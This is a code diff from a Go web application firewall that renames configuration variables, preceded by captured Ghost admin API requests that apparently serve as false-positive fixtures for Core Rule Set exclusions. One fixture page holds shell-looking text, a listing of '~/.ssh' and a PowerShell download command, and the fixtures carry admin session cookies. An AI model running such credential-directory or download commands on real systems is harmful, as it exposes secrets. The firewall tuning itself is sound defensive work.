\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
# before the rules it switches off, so this file is loaded before the Core Rule
|
||||
# Set's rules. Each comment names a request a rule refused. An exclusion on a
|
||||
# field of a body applies only when the query has no parameter of that name, so
|
||||
# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# it matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
#
|
||||
# The apps encrypt the names, notes, addresses and file names of vault items,
|
||||
# folders, collections and sends before they send them. These values pass
|
||||
@@ -18,7 +18,7 @@
|
||||
# 932260: python3
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
|
||||
# sets it while SWW_WAF_APPS is unset, or lists vaultwarden for the request's
|
||||
# sets it while SWW_APPS is unset, or lists vaultwarden for the request's
|
||||
# hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_vaultwarden itself.
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const vaultwardenThreshold = 5
|
||||
|
||||
// Paths of Vaultwarden's API and admin page.
|
||||
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||
|
||||
@@ -3,10 +3,10 @@
|
||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||
# of a body applies only when the query has no parameter of that name, so it
|
||||
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
|
||||
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
||||
# it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.
|
||||
# it while SWW_APPS is unset, or lists wordpress for the request's hostname.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_wordpress itself.
|
||||
SecRule &TX:app_wordpress "@eq 0" \
|
||||
|
||||
@@ -24,7 +24,7 @@ const quietTime = 2 * time.Second
|
||||
// FileParams are what OpenFile needs.
|
||||
type FileParams struct {
|
||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||
// (SWW_WAF_LOOKUP_DB_PATH).
|
||||
// (SWW_LOOKUP_DB_PATH).
|
||||
Path string
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
Now func() time.Time
|
||||
@@ -231,16 +231,13 @@ func (f *File) use(reader *maxminddb.Reader) {
|
||||
func read(path string) (*maxminddb.Reader, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(
|
||||
"SWW_WAF_LOOKUP_DB_PATH cannot be read: %w",
|
||||
err,
|
||||
)
|
||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||
}
|
||||
|
||||
reader, err := maxminddb.OpenBytes(data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf(
|
||||
"SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
||||
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
||||
path,
|
||||
err,
|
||||
)
|
||||
|
||||
@@ -115,9 +115,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
||||
writeFile(t, notDatabase, "not a lookup database\n")
|
||||
|
||||
for path, want := range map[string]string{
|
||||
missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||
missing: "SWW_LOOKUP_DB_PATH cannot be read: open " + missing +
|
||||
": no such file or directory",
|
||||
notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
|
||||
notDatabase: "SWW_LOOKUP_DB_PATH " + notDatabase +
|
||||
" is not a .mmdb file: error opening database: invalid MaxMind DB file",
|
||||
} {
|
||||
_, err := OpenFile(FileParams{
|
||||
@@ -244,7 +244,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
||||
Reason: "the lookup database cannot be read, and the one read before stays in use",
|
||||
Detail: map[string]any{
|
||||
"file": path,
|
||||
"error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||
"error": "SWW_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
|
||||
"error opening database: invalid MaxMind DB file",
|
||||
},
|
||||
})
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Package lookup looks up each client's AS number and country, through
|
||||
// the GeoJS web service or in the lookup database, the IPinfo Lite file
|
||||
// SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||
// SWW_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
|
||||
// most 100,000 clients and for 7 days each, and are written to
|
||||
// lookups.json and read from it by the state package.
|
||||
package lookup
|
||||
@@ -66,7 +66,7 @@ type Params struct {
|
||||
URL string
|
||||
// Timeout is how long a request waits for its client's first answer,
|
||||
// and how long a request to GeoJS may take before it is abandoned
|
||||
// (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS).
|
||||
// (SWW_LOOKUP_TIMEOUT).
|
||||
Timeout time.Duration
|
||||
// Wait is true when a setting needs each request's answer before the
|
||||
// request goes on. Otherwise no request waits for one.
|
||||
|
||||
+18
-20
@@ -13,15 +13,14 @@ const other = "other"
|
||||
|
||||
// busiest are the metrics by one thing the lookup finds of the client,
|
||||
// its country or its AS number, for requests whose client's is known.
|
||||
// The busiestCount busiest countries or AS numbers, by their requests
|
||||
// since the start, have series of their own, and the others are counted
|
||||
// under other, so that there are never more than busiestCount + 1 series.
|
||||
// One that drops out of the busiest loses its series, and its next
|
||||
// requests are counted under other; one that becomes one of them gets a
|
||||
// series that counts from then on. Each series therefore only ever goes
|
||||
// up.
|
||||
// The topN busiest countries or AS numbers, by their requests since the
|
||||
// start, have series of their own, and the others are counted under
|
||||
// other, so that there are never more than topN + 1 series. One that
|
||||
// drops out of the busiest loses its series, and its next requests are
|
||||
// counted under other; one that becomes one of them gets a series that
|
||||
// counts from then on. Each series therefore only ever goes up.
|
||||
type busiest struct {
|
||||
busiestCount int
|
||||
topN int
|
||||
|
||||
requests *prometheus.CounterVec
|
||||
requestBytes *prometheus.CounterVec
|
||||
@@ -39,12 +38,12 @@ type busiest struct {
|
||||
}
|
||||
|
||||
// newCountries returns the metrics by country, with series of their own
|
||||
// for the busiestCount busiest countries.
|
||||
func newCountries(busiestCount int) *busiest {
|
||||
countries := newBusiest(busiestCount, "country", "the client's country")
|
||||
// for the topN busiest countries.
|
||||
func newCountries(topN int) *busiest {
|
||||
countries := newBusiest(topN, "country", "the client's country")
|
||||
countries.refused = counterVec(
|
||||
"sww_country_list_refusals_total",
|
||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
[]string{"country"},
|
||||
)
|
||||
|
||||
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
|
||||
}
|
||||
|
||||
// newASNs returns the metrics by AS number, with series of their own for
|
||||
// the busiestCount busiest AS numbers.
|
||||
func newASNs(busiestCount int) *busiest {
|
||||
return newBusiest(busiestCount, "asn", "the client's AS number")
|
||||
// the topN busiest AS numbers.
|
||||
func newASNs(topN int) *busiest {
|
||||
return newBusiest(topN, "asn", "the client's AS number")
|
||||
}
|
||||
|
||||
// newBusiest returns the metrics by label, which is described as
|
||||
// description, with series of their own for the busiestCount busiest
|
||||
// values.
|
||||
func newBusiest(busiestCount int, label, description string) *busiest {
|
||||
// description, with series of their own for the topN busiest values.
|
||||
func newBusiest(topN int, label, description string) *busiest {
|
||||
by := []string{label}
|
||||
|
||||
return &busiest{
|
||||
busiestCount: busiestCount,
|
||||
topN: topN,
|
||||
requests: counterVec("sww_"+label+"_requests_total",
|
||||
"Requests, by "+description+".", by),
|
||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
if len(b.top) < b.busiestCount {
|
||||
if len(b.top) < b.topN {
|
||||
b.top[value] = true
|
||||
|
||||
return value
|
||||
|
||||
+16
-16
@@ -61,12 +61,12 @@ type Metrics struct {
|
||||
}
|
||||
|
||||
// New returns the metrics, with the Go runtime's and the process's own.
|
||||
// busiestCount is how many countries and how many AS numbers get series of
|
||||
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
||||
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
// topN is how many countries and how many AS numbers get series of their
|
||||
// own (SWW_METRICS_TOP_N). Every metric carries instanceName
|
||||
// (SWW_INSTANCE_NAME) as its label instance.
|
||||
//
|
||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||
func New(busiestCount int, instanceName string) *Metrics {
|
||||
func New(topN int, instanceName string) *Metrics {
|
||||
byStatus := []string{"status_class", "action"}
|
||||
byFile := []string{"file"}
|
||||
registry := prometheus.NewRegistry()
|
||||
@@ -102,7 +102,7 @@ func New(busiestCount int, instanceName string) *Metrics {
|
||||
}),
|
||||
rateLimitHits: counterVec(
|
||||
"sww_rate_limit_hits_total",
|
||||
"Requests that broke a rate limit, a byte limit or the refusal limit, by "+
|
||||
"Requests that broke a rate limit, a byte limit or the error burst, by "+
|
||||
"its window and its kind, requests, bytes or refusals.",
|
||||
[]string{"window", "kind"},
|
||||
),
|
||||
@@ -110,12 +110,12 @@ func New(busiestCount int, instanceName string) *Metrics {
|
||||
"Offences, by kind.", []string{"kind"}),
|
||||
coreRuleSetMatches: counterVec(
|
||||
"sww_core_rule_set_matches_total",
|
||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
|
||||
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+
|
||||
"and the rule's id.",
|
||||
[]string{"mode", "rule_id"},
|
||||
),
|
||||
countries: newCountries(busiestCount),
|
||||
asns: newASNs(busiestCount),
|
||||
countries: newCountries(topN),
|
||||
asns: newASNs(topN),
|
||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_geojs_requests_total",
|
||||
Help: "Requests to GeoJS.",
|
||||
@@ -245,13 +245,13 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
|
||||
}
|
||||
|
||||
// AddRemoteLog adds the metrics of sending the log lines to
|
||||
// SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
|
||||
// lines sent, those dropped, and those waiting in the buffer.
|
||||
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_remote_log_lines_sent_total",
|
||||
Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
|
||||
Help: "Log lines sent to SWW_LOG_REMOTE_URL.",
|
||||
}, func() float64 {
|
||||
return float64(remote.Sent())
|
||||
}),
|
||||
@@ -361,7 +361,7 @@ func (m *Metrics) AddReputation(
|
||||
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
|
||||
// read from abuseIPDB as the metrics are asked for: the checks made, those
|
||||
// that failed, and how many checks the day's budget has left. It is
|
||||
// called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
|
||||
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set.
|
||||
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
|
||||
|
||||
@@ -370,7 +370,7 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
|
||||
m.registry.MustRegister(
|
||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||
Name: "sww_reputation_daily_budget_remaining",
|
||||
Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.",
|
||||
ConstLabels: source,
|
||||
}, func() float64 {
|
||||
return float64(abuseIPDB.BudgetLeft())
|
||||
@@ -411,8 +411,8 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
|
||||
}),
|
||||
prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||
Name: "sww_alerts_suppressed_total",
|
||||
Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
|
||||
"alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " +
|
||||
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.",
|
||||
ConstLabels: destination,
|
||||
}, func() float64 {
|
||||
return float64(queue.Suppressed())
|
||||
@@ -465,7 +465,7 @@ func (m *Metrics) RequestReported(
|
||||
}
|
||||
|
||||
// LimitHit counts a request that broke a rate limit, a byte limit or the
|
||||
